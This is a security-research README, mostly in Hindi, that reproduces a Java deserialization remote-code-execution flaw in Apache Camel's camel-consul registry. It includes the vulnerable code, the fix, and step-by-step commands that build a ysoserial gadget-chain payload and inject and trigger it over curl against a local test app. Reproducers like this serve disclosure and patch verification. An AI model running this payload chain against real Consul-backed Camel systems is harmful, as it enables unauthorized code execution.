
Reproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)
यह प्रोजेक्ट Apache Camel के camel-consul घटक (ConsulRegistry) में एक Java डीसीरियलाइज़ेशन भेद्यता प्रदर्शित करता है, जिसे CVE-2026-27172 के रूप में ट्रैक किया गया है। यह CVE-2024-22369, CVE-2024-23114 और CVE-2026-25747 के समान श्रेणी की समस्या है, और उन CVEs के मूल सुधार के दौरान इसे अनदेखा कर दिया गया था।
परामर्श: https://camel.apache.org/security/CVE-2026-27172.html
| संपत्ति | मान |
|---|---|
| घटक | camel-consul |
| प्रभावित वर्ग | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| भेद्य विधियाँ | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: अविश्वसनीय डेटा का डीसीरियलाइज़ेशन |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| प्रभावित संस्करण | 3.0.0 से 4.14.6 से पूर्व, और 4.15.0 से 4.18.1 से पूर्व |
| निर्धारित संस्करण | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry Consul कुंजी/मान भंडार का उपयोग Camel रजिस्ट्री के रूप में करता है। जब नाम से कोई बीन खोजा जाता है, तो संग्रहीत मान को Base64-डीकोड किया जाता है और एक कच्चे ObjectInputStream के साथ डीसीरियलाइज़ किया जाता है, और प्रभावित संस्करणों में, कोई ObjectInputFilter नहीं होता है:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // कोई फ़िल्टर नहीं (प्रभावित)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - प्रभावित संस्करण
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // कोई फ़िल्टरिंग नहीं!
}
}
Consul KV भंडार में किसी कुंजी के अंतर्गत संग्रहीत कोई भी ऑब्जेक्ट जिसे Camel बाद में खोजता है, डीसीरियलाइज़ हो जाता है। एक हमलावर जो उस KV पथ पर लिख सकता है, एक गैजेट-चेन पेलोड लगा सकता है जो रजिस्ट्री खोज होने पर निष्पादित होता है।
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry Base64-एन्कोडेड सीरियलाइज़्ड ऑब्जेक्ट संग्रहीत करता है, इसलिए पेलोड Base64 के रूप में वितरित किया जाता है।
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() KV मान पढ़ता है, उसे Base64-डीकोड करता है, और डीसीरियलाइज़ करता है — गैजेट-चेन निष्पादित करता है।
ls -la /tmp/pwned
यदि फ़ाइल /tmp/pwned मौजूद है, तो शोषण सफल रहा।
भेद्यता तब ट्रिगर होती है जब रजिस्ट्री किसी बीन को हल करती है:
.to("bean:..."), bean(...), .process("...") नाम से सभी lookupByName() को कॉल करते हैं।findByType() / lookupByNameAndType() KV प्रविष्टियों को पुनरावृत्त करते हैं और उन्हें डीसीरियलाइज़ करते हैं।रजिस्ट्री का समर्थन करने वाले Consul KV भंडार तक लेखन पहुंच:
क्लासपाथ पर एक गैजेट लाइब्रेरी:
commons-collections:3.2.1 (CommonsCollections1-7 गैजेट)सुधार (CAMEL-23029) ConsulRegistryUtils.deserialize में एक कॉन्फ़िगरेबल ObjectInputFilter (डिफ़ॉल्ट java.**;org.apache.camel.**;!*) जोड़ता है, और एक deserializationFilter विकल्प प्रदान करता है ताकि विश्वसनीय वर्गों को अनुमति-सूचीबद्ध किया जा सके:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
निर्धारित संस्करण में अपग्रेड करने तक:
CVE-2026-27172/
├── pom.xml # Maven configuration (affected camel-consul version)
├── README.md # This file
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── ConsulRegistryRoute.java # Camel route (disabled; shows real usage)
│ └── ExploitController.java # REST endpoints for the PoC
└── resources/
└── application.properties
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और निर्धारित भेद्यता के लिए। इसे स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।
| पहलू | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| पृष्ठभूमि भंडार | Cassandra तालिका | LevelDB फ़ाइल | Consul KV भंडार |
| ObjectInputFilter (सुधार से पहले) | कोई नहीं | कोई नहीं | कोई नहीं |
| सुधार | ObjectInputFilter अनुमति-सूची | ObjectInputFilter अनुमति-सूची | ObjectInputFilter अनुमति-सूची |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |